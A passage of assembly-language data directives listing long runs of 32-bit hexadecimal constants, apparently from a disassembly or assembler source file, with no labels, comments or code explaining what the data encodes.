988247DDh, 7302AAE2h, 0EB07CBBDh dd 44F4E00Bh, 25630737h, 344957h, 8A854DA5h, 6BDBE807h dd 0F077FFDAh, 0E40E4490h, 0F51300D5h, 0B81A1E43h, 4700808Fh dd 62936C63h, 0B2F0F8Dh, 887B05Eh, 0CAE40F80h, 8848EC2Ah dd 9C4B2920h, 0E88D2F00h, 0B08A0EBEh, 51B9057Bh, 2C46A3Dh dd 52EBECDCh, 9C869203h, 0E35E3090h, 8CE700EDh, 6EA972B6h dd 800063DCh, 54277BF3h, 0E817F167h, 5E7403A0h, 0E356247Dh dd 0BF5528E0h, 7ADA4103h, 0D81FBCA7h, 0FE50338Bh, 9B9F470h dd 3ED9A91Dh, 66C81C20h, 0DD48F8C6h, 0EF0476B0h, 1C1E7A76h dd 0AEA980D0h, 91620C23h, 54F00874h, 0B788D200h, 58243D42h dd 0E21000E8h, 35CB7C4Dh, 78009469h, 77A1867Ah, 205EC7Eh dd 2B33BC87h, 0FE0BF31h, 2A1DDAEFh, 0E7C1F39Ah, 0C38B7258h dd 3CB2B870h, 0A2BE7ADDh, 2FD03881h, 0F5F104h, 0EE4B122Dh dd 0AF7107A7h, 0E025E45Eh, 237920C2h, 3204DC00h, 0A0CA695Ah dd 0D5F70050h, 6833E3D9h, 0DA00392Fh, 708E56A7h, 8526234h dd 3A0863Ch, 0A417E100h, 656777h, 3DEBC3CAh, 4B2A7043h dd 33490B2Ch, 0E3AC0600h, 72FEB566h, 1CCCB0ECh, 40256ED1h dd 81059E7Eh, 10009FAEh, 0EDC69617h, 479CB86h, 0F122AB36h dd 7124C0B4h, 722CE38Dh, 340084A7h, 676F0BBCh, 0EFF501CFh dd 0DA383FBAh, 20A020A8h, 918BB700h, 5D2E335Eh, 0D0C900BFh dd 5BC929Fh, 8200A7C8h, 6D77D837h, 2E1C1D91h, 0FC852AFh dd 0F4C2220Fh, 40604150h, 10003ACDh, 514F6E9Eh, 3EA47695h dd 3680D2D7h, 0F7DAC501h, 0F80B9FD9h, 6A7FB4h, 26390868h dd 55100002h, 210E0D92h, 2A4CCB03h, 0B1BF2818h, 0FB319500h dd 99EAA865h, 0B28A07FAh, 60E3BE26h, 5266D3E9h, 289B7A24h dd 6BD8AF04h, 622DF4A8h, 546A0400h, 94B91AC6h, 8091AE0Fh dd 5E5D10F0h, 175100C4h, 0DF436E34h, 673AF761h, 309287ABh dd 0F440D229h, 3B86D7h, 75F34012h, 36FC961Ch, 8B0038FAh dd 220C9DA2h, 8A6EDBh, 59F3F603h, 0A9A3CD30h, 0B7684B07h dd 8E60229Fh, 0EA84987h, 0B34E4138h, 82CBA4C0h, 2C0037F7h dd 537D4BB7h, 1809AC8h, 0D9E35F8Ch, 7ABF4D62h, 6FFCF480h dd 31EB007Eh, 0C8A86AB4h, 0D41CB307h, 7F40A09Eh, 79822D15h dd 0E4C600C5h, 36E5711Ch, 12007605h, 0F357B583h, 0FCDF6CFh dd 0F232DD6Dh, 27518C00h, 8500A1F7h, 30A659C1h, 95ED19Dh dd 456270E8h, 8673898h, 0E6E3B100h, 0B6052DFDh, 0BE650099h dd 46E7C8C9h, 1001D59h, 6A4FDA96h, 4CCB3Bh, 0D013A79Dh dd 0A6441787h, 7893EDEFh, 0C4F20188h, 0A37B28F4h, 0FE1FFC68h dd 3F43C0CDh, 0D0F69AEFh, 1055C826h, 1CCEAB02h, 7CDA74h dd 8D8315FDh, 0A49A802Eh, 60948E00h, 0AF55F443h, 398C0037h dd 72BD2F93h, 1000F3D8h, 256CEA16h, 69DA8F4h, 60553391h dd 0F200989Eh, 5129952h, 90A7C50Fh, 584F0020h, 782F51BEh dd 0CD00DF64h, 0C48DE713h, 307C53Ch, 4BA03AEFh, 0A4C20573h dd 2437DC0h, 82E6EC27h, 60CC9794h, 0E43375E6h, 3918901Eh dd 6580B0ABh, 0C4173B36h, 0C904A482h, 23571DC3h, 0DCC0D094h dd 0BEDD4599h, 75A61Ch, 0B9E85C1Fh, 0B52E0D62h, 711FD49Ch dd 0CAA3D200h, 71C98B16h, 0FE2A0018h, 5856BE21h, 0F9007B1Fh dd 0B7C7A6Eh, 85CF36h, 6C9F06CDh, 2DA81756h, 98FA1B00h dd 511E0C31h, 4A69E039h, 9C0404ADh, 106B868Dh, 8085D638h dd 90879237h, 1C617A5Eh, 1235083h, 5D9C7627h, 64AAE477h dd 1B020607h, 8CC3FC12h, 7FE4A9CBh, 60E195F4h, 0D897C8C6h dd 3A1D1973h, 0CE09FFC8h, 87708072h, 0B43DFh, 0EEE671CAh dd 0DE45C2FAh, 1FC9CB00h, 0ECB7D1DCh, 6DFB0090h, 40293F0Dh dd 5F006571h, 0F0BEBD79h, 0F4D06291h, 0F7BF8EBh, 2A441BCBh dd 73CAB640h, 550951ACh, 28E041h, 0B3947220h, 22400A1h dd 0DDC5CD95h, 90018C9Eh, 0E6BE8EB2h, 0F1DC52F0h, 9231006Ch dd 2A72B051h, 85007DCCh, 0AFCEC077h, 0BF21D2h, 444BAA8Dh dd 5B2A2C53h, 4E109900h, 0A1A0FB8h, 86EA2CFCh, 40401FE0h dd 0FABA69C3h, 5094B82h, 0F5969Dh, 4D2E806Ch, 5A360063h dd 70A06210h, 3025C17h, 0B8EA5275h, 0F09C6054h, 58E4F586h dd 0E5CB0737h, 0C7BEBA9Bh, 81C230FEh, 77B01DDDh, 0B9768200h dd 0B6ADBCCBh, 78B700CCh, 1ADBFD6Eh, 0F4005F8Bh, 2094871Bh dd 6598B4h, 3BEB476Dh, 7190C9A0h, 0F208A10Eh, 6E862245h dd 7AE4DA7Ch, 2AE44Dh, 0DAF0D29Ch, 20226A14h, 0CEF5DE00h dd 3DF26EBFh, 0E64BC7h, 0CA267CA4h, 0EF03194Bh, 382F4D18h dd 73FFE0CBh, 747873C5h, 7186038Ch, 3A47CCB9h, 78A5480h dd 0E214CDE2h, 5AA8042h, 6D5A756Eh, 72FBA4C0h, 0D6938B4h dd 10B5B203h, 0D2E0BB26h, 0FE0BAB62h, 87717BD5h, 7CC5ED11h dd 0E9799C00h, 1337E97h, 0CBA88B49h, 0FC30A4B7h, 3F0748C9h dd 2FBCC319h, 0F2E0C657h, 1F20DCE9h, 30974795h, 4B793410h dd 4D6B2900h, 0C0C793BEh, 7738B01Eh, 47F5000Fh, 0B479F08Fh dd 498E61Bh, 0D64C6A00h, 0AB2E5B44h, 0C23500CCh, 0CA2D0FDFh dd 2B00C1A4h, 258A3FDEh, 303E12D8h, 0C282FF1h, 0C2006F1Bh dd 9FC84729h, 0E6171FA1h, 15490110h, 0B3721C32h, 2F3DC124h dd 0B08A1805h, 9007B881h, 600A828h, 8DB1C126h, 6F009AC7h dd 0E45FC6F5h, 0E0677539h, 1C142799h, 0B318EFD8h, 0A21834CEh dd 0CF8C00D7h, 87D41E92h, 91004031h, 50128A8Bh, 38C9CC93h dd 8814EF9h, 4DE3C147h, 9910A882h, 3D3D227Eh, 0D9FE800Eh dd 89A00AECh, 69F60016h, 0C2FB2483h, 0F34D8B8Ah, 0A81AC13Ch dd 1BE8B42Fh, 2A38007Eh, 19855037h, 700148FBh, 0A106577Ch dd 1660F790h, 0BD0F01EFh, 292AB9B6h, 0F5422051h, 1F084207h dd 0C08FE296h, 0AC658CB3h, 0EAF49872h, 0B7330060h, 5609409Ah dd 8F07EFD3h, 5F3CA18Bh, 0DA987590h, 0D50C00E1h, 0CBFCF89Ch dd 0F402BE14h, 257BF75Bh, 0B7FAC196h, 0B09AABECh, 0B2650014h dd 49DF043Eh, 8214787Ch, 0EDFFE5h, 21F7359Ah, 7E9B1Dh dd 95AF32A8h, 5AFE053Fh, 381E3338h, 82B8804Dh, 65BFE430h dd 0C8A013E3h, 99540074h, 44D8FFF1h, 6A2A4600h, 0DC68B031h dd 25B10050h, 71F74CAFh, 531E67E8h, 0BC80D0FCh, 39278052h dd 4290540h, 0C0C5F08Eh, 724730BFh, 48DB7303h, 0C74A2C9Eh dd 256D0490h, 266C0092h, 0E67BD268h, 0FF1DB8B1h, 0C408F85h dd 0CDA54F97h, 0B3F3AE4h, 0FD3E4D3Ch, 1810AF00h, 28BA8567h dd 0C01E58h, 0DDBF2AD1h, 6A912C8h, 0CBB422A4h, 0CE0458F8h dd 0DE8A346Fh, 0F4A2BCD4h, 9E18E209h, 920940Eh, 0AA4D752Bh dd 59D92A00h, 0F026F34Bh, 9217051Eh, 83DBC71Ah, 6480964Ch dd 6C070C9Bh, 7F02C05Bh, 18F80079h, 12F86873h, 8EB7F3h dd 0FE70605Ch, 3200B61Dh, 0B1F64E5Ah, 1D443ECh, 0AFE54974h dd 802F8961h, 0AB756896h, 781754FFh, 0F51E655h, 0B7BA8EE2h dd 1C812C20h, 5001C1C0h dd 0B178E5A9h, 0EDD722D5h, 70DCE0F1h, 59170023h, 0E1666250h dd 0E0077AEh, 68E9DA12h, 720CE75Bh, 0E8C20067h, 8BF7EF87h dd 0FFF6DE9Fh, 0DC565203h, 83F9810Eh, 0B549C0C9h, 7C4602C3h dd 0BDA2BC1Eh, 46A6345Eh, 0B0074100h, 13C3EAFh, 0A46B675Dh dd 0DDB59B4Bh, 7213207Ch, 0CC75ED25h, 8BDF0A68h, 0A4E223h dd 6245A8BEh, 0ACE67CFCh, 2AC584Ah, 0CD77BA01h, 2ABEEC8Ch dd 855EF400h, 0EFF57B6Ah, 71125220h, 92013A15h, 76AA3880h dd 0E6BD8B3Bh, 42B6AC1Dh, 1A161480h, 71998h, 0B0E91EAh dd 0AAFF77AFh, 9CF62500h, 0EC30B181h, 0A26C28E0h, 0FCE77390h dd 0D6F04B4h, 878F5544h, 63A9010Ch, 8FBE424h, 1CABD3Bh dd 0FA0EB56h, 5DC87A60h, 66AF00B2h, 0C162BF0Ch, 0EB037CA5h dd 0C8D4B0DBh, 27FFB02Eh, 0A14D0049h, 9D9B8CE8h, 0E9008A82h dd 0F8523881h, 1805975h, 0FFF2C609h, 0E1CB0F34h, 0E8902150h dd 0EC03A29Fh, 0E4E0673Ch, 0B0C7986Ch, 0C9020EC4h, 0B8806D7Bh dd 0C10605C3h, 0C8816660h, 1F47FB7Fh, 1E127EAh, 0DEE5D052h dd 29722061h, 0C3914E00h, 0C44DFFF3h, 0F7732Ah, 44A5B63Ch dd 2E61A61h, 4A63A200h, 2319724Dh, 8D78002Bh, 6DA94B5h dd 71003A61h, 7A881B98h, 31A587h, 4EB8CF67h, 83E60FC0h dd 0F9BD9000h, 7E6446B4h, 6084735Ch, 875E40C8h, 0E81F6838h dd 81F8C582h, 0F8A553EBh, 79D8AE6Ch, 0E52C0047h, 8B4DF3A8h dd 340EEF49h, 40DA8F0Bh, 62298296h, 1E741DEDh, 501FC311h dd 0C4F85E8Ah, 6A002E0Ch, 9D37F2ACh, 71C85BDh, 0A76E12ADh dd 915F40B6h, 0FD0144F4h, 3AFB1668h, 6AD87ED1h, 522F0413h dd 0BC5E8771h, 0FC1901DCh, 740AF969h, 9CCEE4h, 83404E42h dd 7F49FA9Ah, 0E6665503h, 8047BEF8h, 22FFDFCh, 3C09AA89h dd 0FC7EB5CEh, 0E9698300h, 2D171DB6h, 0DCA2A003h, 0D0544BD3h dd 0A1265A00h, 16E186h, 50DB2882h, 0EDAB8DEEh, 7C69E800h dd 91640C04h, 5A0E1D08h, 971ABE3Ah, 4A8060DCh, 0EF093F2Ch dd 5D5F4C00h, 2E7C71DFh, 0CE300217h, 3D7F1BF9h, 0E2C898E0h dd 75E11201h, 0A17EF86h, 0E7B485EAh, 97608B87h, 305C2E68h dd 0F03112FDh, 30E4694h, 40EB51A6h, 2BDFE55Ah, 0D00A3972h dd 4F5DC00h, 5F2AC1AAh, 415738C0h, 99814Fh, 87B96F46h dd 0CA1A2DB0h, 9E83A0Bh, 0C05843D7h, 0F270D2h, 555883A5h dd 6EA43534h, 6CDBD517h, 386F44C0h, 33A4A8A6h, 8A4C4CCFh dd 911F290Eh, 6A6A7C87h, 9C4F0010h, 0DF57BF6Ch, 8B10E407h dd 31C0A7BBh, 607C565Bh, 64C8EEFBh, 610021CFh, 10520ED7h dd 0E4B6071Bh, 355F000Dh, 0FE15917Ch, 6616F2ECh, 23007925h dd 0F4FCE86Eh, 0A509000Dh, 0BF76DC9Bh, 0ED01D698h, 6673C42Dh dd 5470EEBCh, 17570148h, 93DD434Ch, 2859DCDAh, 0A5E51900h dd 474FF4C3h, 489009Dh, 0ACB2A3D3h, 0EE001A2Ah, 81655352h dd 3B211B41h, 25050FCEh, 80349C4Eh, 716D4B9Dh, 456CD800h dd 2241167Eh, 8BEF0504h, 472AD934h, 507967D8h, 0B824CF72h dd 0B816F3Fh, 607C6CDCh, 41A9F4h, 62C7A7DAh, 8E987B9Bh dd 0EEE06E76h, 0E268F11Ch, 337AE680h, 0A66F1Bh, 0F5014349h dd 0E86124BEh, 300DEEEh, 0D2CFB460h, 7B411EA2h, 60066173h dd 0E876E228h, 390388A4h, 0D55387FFh, 1CC3FCh, 71B08320h dd 97926EAAh, 0F3EA7E8h, 70C9FAFAh, 0DB6820CCh, 4CDEA2h dd 325DA877h, 0EF4D0CFEh, 0EC8A5B00h, 0FDA0E0E4h, 18856094h dd 6FB3F426h, 0F04C749h, 40ECD8EAh, 2BA6E1CCh, 0E21063Fh dd 2008902Eh, 23F89Dh, 0D5D67CC5h, 0DDF6E02Bh, 9AEF25h dd 2AB12760h, 688A3ABh, 525BDBE0h, 891F1014h, 7F0343DAh dd 0CBF65390h, 0A17A888Bh, 6B930096h, 0EF3FBF62h, 0E3003285h dd 0CA956070h, 48215Fh, 53D26E1Ch, 95939FFh, 81376F00h dd 9E83A273h, 0D9B400CCh, 0DC1040F9h, 0A000C486h, 7796A72Ch dd 0E4FE027h, 1583818Bh, 3AE4041h, 2A3019Eh, 68BFF0h, 4FD10AFDh dd 59979965h, 7B9D5400h, 58F04E4h, 0D0EF00ACh, 69F4B529h dd 28169AF7h, 5F06E5E3h, 0A2DBAh, 0FB623B41h, 10CCA4F8h dd 971F90EAh, 70C1CFF4h, 94A2FD75h, 3902D9F4h, 0F807E99Fh dd 0F0B045BCh, 9D987E27h, 26D20403h, 0BE739E85h, 33ED0091h dd 0D8F10938h, 4EF6EBACh, 74D31900h, 2CEFA51Fh, 6E5A3002h dd 67093530h, 243C1D7Ch, 3EAC0105h, 8C6AF684h, 17FEF080h dd 100D6658h, 8D704100h, 3A34A947h, 8FF80969h, 0E864AEFh dd 0C60259A3h, 38F4D503h, 0A9BD181Dh, 42364740h, 0F9B4119Eh dd 1BB427Dh, 88F7AE7Dh, 9E0CBD4Ah, 0A1B19362h, 58C48C9Bh dd 0F7B120A5h, 0A9614EB0h, 25AC1C59h, 8BC9801h, 4988A851h dd 1084A669h, 14F46566h, 3C2C8515h, 21FAA04Dh, 1404319Eh dd 0AC0F0ECAh, 7588EF48h, 20959EC4h, 721FD01Ch, 6550AE58h dd 36EB006Bh, 0C5EA3D39h, 35382DDBh, 222C00C9h, 0D19A13D8h dd 583007Fh, 843B97AEh, 900C5566h, 81E39FDBh, 6D8036Ah dd 97BDDA49h, 0BBB7000h, 2C26C3C6h, 6B6407FEh, 2074B188h dd 24AA815Fh, 33E5A000h, 85D161B9h, 2A1C005Eh, 0D6842D15h dd 9300297Dh, 7C04F8DDh, 710CBC3h, 16D22572h, 0C133D4BBh dd 0F0CA1E4Fh, 1A3F2C4Dh, 0EBD100BCh, 0FC313842h, 3DC8A087h dd 0DC45546Ah, 0ACDB0FB2h, 0E9231A9Fh, 95E184E5h, 5439E08Dh dd 3A103D61h, 0C089A679h, 10007A42h, 0FF819DEFh, 93828500h dd 0CB042B7Eh, 5DBD03FBh, 5C30CE10h, 0B1BBC0A5h, 3A28A780h dd 0C088ACAAh, 0BE0154A1h, 62BBDAC1h, 97417CE5h, 0C3E41ED3h dd 0FC9E384Ah, 107C789h, 0F03DB000h, 59030365h, 0CE9FC48Ah dd 1832152Ch, 0FD2ED8A0h, 4AB1003Bh, 23EAAA36h, 66F82C00h dd 789008C6h, 3F61C88h, 855AC0CAh, 47F04811h, 7D76300Fh dd 92F4E0F2h, 0DEFE74h, 0F88E434Ah, 0EE40B0A9h, 62579A00h dd 2966D1D4h, 3171C0E2h, 799D42E4h, 27A9FE0Eh, 0F7682140h dd 0BFC4F238h, 706E020Ah, 2B0D209Eh, 0C1CD9880h, 6F9873E4h dd 64E32700h, 94CAD8A1h, 0B3C01E2h, 8AE982CBh, 4F742077h dd 0BA39AE12h, 8C758407h, 0A458D440h, 6F0200B1h, 7DD0F922h dd 320153A8h, 0F131440Ch, 0C9D42877h, 0ACF406C8h, 0C8B0D1D9h dd 33C3DC0Fh, 83BE73Eh, 9F80FBE4h, 7025E79h, 0A26E4A40h dd 97E2FE9h, 0A5877A36h, 502590B0h, 5DEE8D94h, 8384AD1Ch dd 1149040h, 897772h, 9D1121B2h, 0AAC1E1EDh, 0B0EEB930h dd 3CD03083h, 0B583BE9Bh, 4E5BE5E4h, 4F004050h, 7EF6BD01h dd 0D205A721h, 31E5E841h, 9257AE00h, 182998A8h, 0E7B29B09h dd 0A9CC83F6h, 2C2DC8E4h, 0B0FC004Ch, 72FF3A3Fh, 1C004DB1h dd 4AF3E95Fh, 0F8C03Ch, 9C76B002h, 0DB68F59Eh, 0BF001C76h dd 4C69E6E4h, 0C3171F6h, 0A03439Ah, 821E8E20h, 1F008FCAh dd 2BB777ECh, 0C89B0A80h, 3ADA6802h, 189548AEh, 0CBBC3046h dd 0A1A41F00h, 0E1E70D3Dh, 0FD660FC5h, 27262080h, 6C7840D8h dd 1750D400h, 0C938AB9Fh, 0E60F0635h, 493B9A39h, 0E790BA00h dd 0D4836EA9h, 0A2AC0089h, 80345657h, 463FCA78h, 2D7102DDh dd 0C07942D1h, 7ECC2B1h, 0B42C3D8Bh, 0A4CAA030h, 238F475h dd 0D9E8CF73h, 805D1900h, 0E0BFDAE3h, 40AAB602h, 60212E4Eh dd 1E724F27h, 10AED8Eh, 2C300DEEh, 0A7163005h, 0C073A378h dd 9FB27100h, 24DEAEDAh, 0F74E4E4h, 0D44C25C4h, 0C88D0BE0h dd 1B0760B5h dd 0B228BDEAh, 236B9C70h, 10200F76h, 0CD400E3Eh, 315ED151h dd 1ECC9713h, 25603D00h, 28DC8h, 0DB35BC24h, 0C2A12F18h dd 0BBB6D0FBh, 37CAA300h, 0A6D5BFF8h, 0CBCC0076h, 56F1D16Bh dd 4F004829h, 0A94135E8h, 0FD2BF1Bh, 0BDF8D5F6h, 0B846E6C0h dd 9B001504h, 1A07213Eh, 614CC4A8h, 9E7F98B4h, 99ACE09Fh dd 0C12310C3h, 8D5AC9E5h, 6235D0h, 0A5E80197h, 0E0FC3BC9h dd 24D17D00h, 0D5AD1CFFh, 0A86B00CEh, 698CF594h, 0F61FE920h dd 0ED013EBBh, 466528A5h, 734467E8h, 7A2703A6h, 48774BBCh dd 87D8B2E8h, 0E3D9A900h, 894A4EB5h, 0D35000E8h, 70BB14FEh dd 0E0E8FA71h, 57462300h, 58BF3F98h, 153E40B3h, 3A0F227Ch dd 56EA92h, 0F9745B5Dh, 0F1F1F1Dh, 0D2DD24h, 2C73D484h dd 27009920h, 0B8599BDFh, 0E5101F07h, 8FC3DCh, 0E2F14AD4h dd 0A7EE31AAh, 0E762CC00h, 0ADC3F40h, 0A4C200D7h, 0ED336C05h dd 5A008EFEh, 37FB39B1h, 3135B9h, 0D9A56F3Bh, 40F7810Eh dd 5978E314h, 0CAE900C8h, 0E85C683Ch, 0FF271390h, 53580EAAh dd 0B3FD8460h, 4C7A3489h, 95669B00h, 0EEF12028h, 0EB9707FFh dd 0D0B4AB6Bh, 0AEFB1D40h, 67F71F00h, 99A170AAh, 167C82h dd 2FCB27Bh, 22E12410h, 0A260E400h, 3E6ED42Bh, 7D0FE54h dd 974B3C46h, 4857E0A0h, 0DA005B2Ch, 0CC4E844Dh, 9E5A2Bh dd 9925F568h, 0E989E66Eh, 3B8B0802h, 405642C5h, 0FAAAA2h dd 0ABE52227h, 5237C10h, 7B8CF00Fh, 0BC1C04Eh, 2E7391BBh dd 34E55Fh, 756FF7CEh, 0D700618Bh, 0C8D15D60h, 9D53D3h dd 0F52A4A3Dh, 313ADA70h, 0E9AC38h, 41215F5Ah, 723C3FF3h dd 877523h, 8CBC72A3h, 8B60986h, 0EED6A600h, 85839575h dd 5C0A038Bh, 0BA2346D4h, 0ADCF2780h, 264B5807h, 0B5A0379Ch dd 1C0170CEh, 80F30DA8h, 1BDEE6F8h, 2900BED3h, 0B6956AB8h dd 7BB90D5h, 363A74E2h, 1514104Dh, 8700A8CDh, 0B5EA4730h dd 180F4C8Ah, 183658BCh, 0D600B9C3h, 4E024D88h, 67867Dh dd 9F48E6A3h, 8241EDD5h, 441ADA01h, 97AFB07Eh, 58A5C8C3h dd 9EA20043h, 0D3522D94h, 0B8007B08h, 4D506859h, 0A0ABE4F0h dd 0A866D4h, 478FCD35h, 93E958D5h, 735A0F00h, 536BF998h dd 0A880013Eh, 511C717Bh, 0F0F6D888h, 0B81D0300h, 0F4C94CF9h dd 6F79CFh, 91A41820h, 2D25ECFBh, 8549501h, 0EF87F2B5h dd 59C8A0FBh, 6EB71D5Ch, 5D2480D7h, 0D8B9B158h, 2C043Eh dd 73BE1E05h, 396751Dh, 49830871h, 79B00DBBh, 4D018B37h dd 0D9052DABh, 3120983Ah, 0FDA83994h, 0D0486300h, 8E886965h dd 530083F6h, 68233B59h, 509290h, 604855C5h, 0E8EF8EA3h dd 41313D01h, 0CCB1CBEDh, 0AF8570h, 930956B9h, 39DEE835h dd 0EF59AA00h, 0B40AA548h, 3B6200C8h, 8FCC1E60h, 1D00C09Dh dd 0C7A05798h, 1F06B865h, 40E324D5h, 0AB05260Ch, 2F00C491h dd 0D115C5ADh, 0E2BD76h, 20EC4967h, 712DF977h, 19ABD503h dd 0A388E98Ah, 0CD18F066h, 7AF0E6Fh, 0B1C0B640h, 55D2AC47h dd 30C6A00h, 7BB88587h, 0E409006Eh, 0C67550DEh, 0B9008B2Fh dd 0FE1E017Dh, 73EA8C06h, 46D7000Ah, 54CD4D51h, 0EE00892Ah dd 5A8496F8h, 78F2E89Dh, 0C9EC00DBh, 9399E62Eh, 142AF68Ch dd 7B00A45Fh, 913F02EDh, 190155h, 0D2FF477Fh, 0BF8B6909h dd 1D635D07h, 9C835172h, 0E1B0D0D8h, 5F600090h, 47963265h dd 0A80017EDh, 0BDF1D5F3h, 32F73D9h, 0B76816E8h, 1D8BE0CDh dd 0CCB843C0h, 0B1C32500h, 733ACFCh, 168912B6h, 0F5430161h dd 876CC975h, 0E73BAB20h, 152FE03Eh, 0FEFF5Dh, 90F1A27Eh dd 8345F976h, 36505B00h, 30EC7531h, 7BF30035h, 6507C406h dd 100BC21h, 0AF5E7815h, 48D9F8h, 0C6D3B551h, 4EE09FF6h dd 0A03C1AE0h, 795B80F7h, 9585E988h, 477700FEh, 59DD0B70h dd 0C80B692Ch, 6405CEh, 512A73B8h, 0B0E907CDh, 901B0414h dd 31C2565h, 0D6744B0Bh, 4095D27h, 0F316400h, 50008648h dd 0D97644DFh, 0F7B9FFh, 0A782E5D0h, 7AB7BC83h, 0AB019470h dd 589D95D3h, 4EE8DB1Bh, 98180FA6h, 47607E1Fh, 7FD5C8C3h dd 111E8300h, 0FB488F6Fh, 333A00EBh, 0E29135BFh, 3800B7D5h dd 9DC67D08h, 114D2Bh, 0A33ACA12h, 0A7F8E392h, 4E01E8E4h dd 0DCAA28B3h, 3E3BB81h, 461E52F8h, 28009F2Ah, 1F619B20h dd 7D8AA19h, 6D204B6h, 30F57754h, 0E683E30Ch, 2CDAB03h dd 0B0D7F421h, 89716Ah, 0E55FD4Bh, 5FE3FAC9h, 0A19E3600h dd 9695B973h, 0CFB6002Eh, 0FE8F1BCAh, 0BD48D330h, 0EEF30E8Ah dd 0ED01175Ah, 3C4E6092h, 5E30E0D9h, 407400D5h, 12B0E258h dd 9000938Ah, 18CCFA7Ch, 0B50F49h, 0EA17F832h, 4765EBC4h dd 0F2DDD700h, 5ADF83CDh, 0E7FC6Eh, 259273FCh, 1DCC9A7h dd 0A8F9400h, 0BE33E35Bh, 0FB98008Ch, 0A774BBBAh, 9507B5F3h dd 9C3D76AAh, 53CD7E80h, 886600DBh, 3332B18Ch, 0F307E4D0h dd 0F4CF40E9h, 48684C0h, 7CA316B2h, 0EB1F0079h, 49900E41h dd 82BF5603h, 0D0947D72h, 1E6B135h, 0B89ABCA2h, 301E4752h dd 7C00FAD6h, 547BC272h, 82C11Fh, 46521570h, 0D52C3756h dd 3F34980Fh, 0C74940B9h, 434ECBh, 0C828AF26h, 7635B00Ah dd 8097863Eh, 778FCE6Eh, 72B72196h, 954F1F16h, 0C12A1E8Eh dd 29A056CBh, 9032DAh, 8919F327h, 0B5053Ah, 56D03844h dd 0D2CE349h, 421AD300h, 1FC799B0h, 93D102C8h, 8EAFC912h dd 19CFAFC0h, 28A50126h, 0A9A8000h, 1E96056h, 0F692712Bh dd 8331C7A4h, 298A792Eh, 7CD1D1A0h, 17821085h, 6080C085h dd 2C584F9Fh, 5151DE5h, 0AA41545Fh, 25356983h, 0E7E4830h dd 9ECBB69Ch, 0DA79D0D8h, 0A5071E00h, 0D86B4997h, 883D60D3h dd 57DE0C36h, 857D5900h, 6A34829Eh, 80554E65h, 0DEDAB49Dh dd 43B01E00h, 2763AA9Dh, 207C01CCh, 22759FDFh, 8EB760BDh dd 0AC9ECA05h, 1F80D2C7h, 0F77BE8h, 2FC56675h, 93E3E96Dh dd 0E20E5CE4h, 0A067A5A0h, 0F00164F5h, 147135h, 0D8FB87B4h dd 0D3BF3C8Ah, 810E0ECEh, 0D7663260h, 0B691080h, 719AE6ACh dd 0DF9EC300h, 73C15025h, 0FD910016h, 1BF315FCh, 0B500D7EEh dd 6D5DB6A9h, 0A0FBD9h, 669F986Ch, 0E01550EFh, 0DBF4AD03h dd 0C0BC7E88h, 7A7A549h, 39B36A46h, 9C7A21h, 0B6536377h dd 54031ADDh, 0FAE35550h, 0A0AE97FDh, 0C06DCEDCh, 8D2500CFh dd 0F7CCDB21h, 54012392h, 0E328958Ch, 0E7F8125Dh, 5AA50057h dd 0AD715F32h, 37FABAD0h, 9D743F00h, 9BAA6F26h, 55700050h dd 0FE240AE9h, 5C006AA9h, 3329B844h, 78A85Eh, 0CAB63437h dd 13609B5Dh, 368B2814h, 0DE621ED4h, 0BB9A4040h, 1C8DF72Dh dd 0EAFAECDh, 338022ACh, 809378C5h, 0BF8FD600h, 8ED961CFh dd 5B600F6h, 9F9471FDh, 0A3000B49h, 0A8F39DC5h, 39032C4h dd 0FC94E6Ah, 0E4A05CF8h, 0EA03FC1Bh, 44C59CE9h, 0A127A1E5h dd 0B8CA65F8h, 8DD20058h, 83629194h, 3D015BCDh, 22AADB5Ah dd 63F416EDh, 5BD4CDDh, 8B1A0778h, 0F719929Eh, 89E18EA7h dd 0F866E902h, 0F517A377h, 0A800C607h, 884FD4C0h, 0AB841D89h dd 0E0C340A9h, 23298174h, 76309472h, 985440EEh, 44911C37h dd 0CF1600D5h, 71725635h, 3996848h, 2288D41Ch, 0F971008Dh dd 0A9F0DD24h, 2F00D73Ch, 0DCE5BE38h, 37C8ED5Ch, 60295A23h dd 6318876Dh, 832B370Bh, 0D0AA807Ch, 0DC4AA8h, 9CC64CBBh dd 2CD6AD3Bh, 0F4E6D00h dd 97E2FDACh, 0F0CA50AAh, 0D77F1F4Ch, 6B2640AFh, 8AB4533h dd 0DCBE9500h, 76DAD907h, 0C1CF00B8h, 16EEEC7Dh, 5F76973Fh dd 0AC573800h, 0F265098Fh, 67E71BBh, 849CB35h, 0C848112Eh dd 0A28D00FAh, 259F6552h, 80CA3E61h, 0E5FB7B00h, 0B00E5376h dd 0BBAEBA1Dh, 0A3174C80h, 0B2BEFFh, 3C1B3D02h, 0D80338C6h dd 6D1FFE00h, 0C72DB763h, 967648h, 0C167418Dh, 0A9AD4975h dd 0DE9E150Fh, 0FE36A039h, 61514Dh, 487688AFh, 873FF5CAh dd 20B90729h, 0C3245660h, 25364480h, 0AE1CDF06h, 1D887950h dd 83E9D722h, 0D0CE7407h, 0C0AF57C3h, 0E0FA986Fh, 49768601h dd 0A4E1B275h, 0DA194200h, 0D8687003h, 9A9364AEh, 178A609Fh dd 0EC9D073Dh, 0E079B56Dh, 579A4104h, 7767120Eh, 27AF8464h dd 0C2759E81h, 8C5BC8h, 6EE617EBh, 147895CAh, 28821B30h dd 92FAD9h, 96139DDDh, 1AA1D3EFh, 407DA300h, 56648037h dd 0D763183Dh, 225C8C7h, 6D3B0400h, 0FFDBE575h, 184C7684h dd 0B9C7B6C3h, 9B3EA3E6h, 41D281D0h, 0BE7AEE4Eh, 6080B2E2h dd 2B23BCCCh, 41809933h, 80EFC617h, 0CD9DE9A8h, 5457F43h dd 890DD8A9h, 7EF040D0h, 0FDC22B2h, 5200BDE8h, 0AF3F569Eh dd 14863474h, 0B467E3C2h, 0F2A7C900h, 1EF0D646h, 0B3A0CD00h dd 0AC39230Fh, 0F51C0287h, 2420DF91h, 0E0182440h, 5357ED0Ah dd 0C75820CFh, 500D43C3h, 0CC003A30h, 17BBA682h, 0A08AB71Dh dd 4024CFD0h, 0D951749Fh, 39040C2h, 67058095h, 879E4869h dd 0F6B0DC41h, 157049CCh, 1A5E0041h, 0B77517A6h, 0CE00E891h dd 2D1804ABh, 1B05670h, 98F9811Fh, 876BEEB3h, 11D57D40h dd 0BB0CDCBAh, 4179A6h, 471BA4A5h, 654DF69Eh, 801DED04h dd 7080664Eh, 34A8Ah, 5AF33E92h, 5DB9A6E8h, 0D02FC00h dd 3A20A4BEh, 9AEA0F7Fh, 31A0D7D5h, 3062D1D9h, 512CAD12h dd 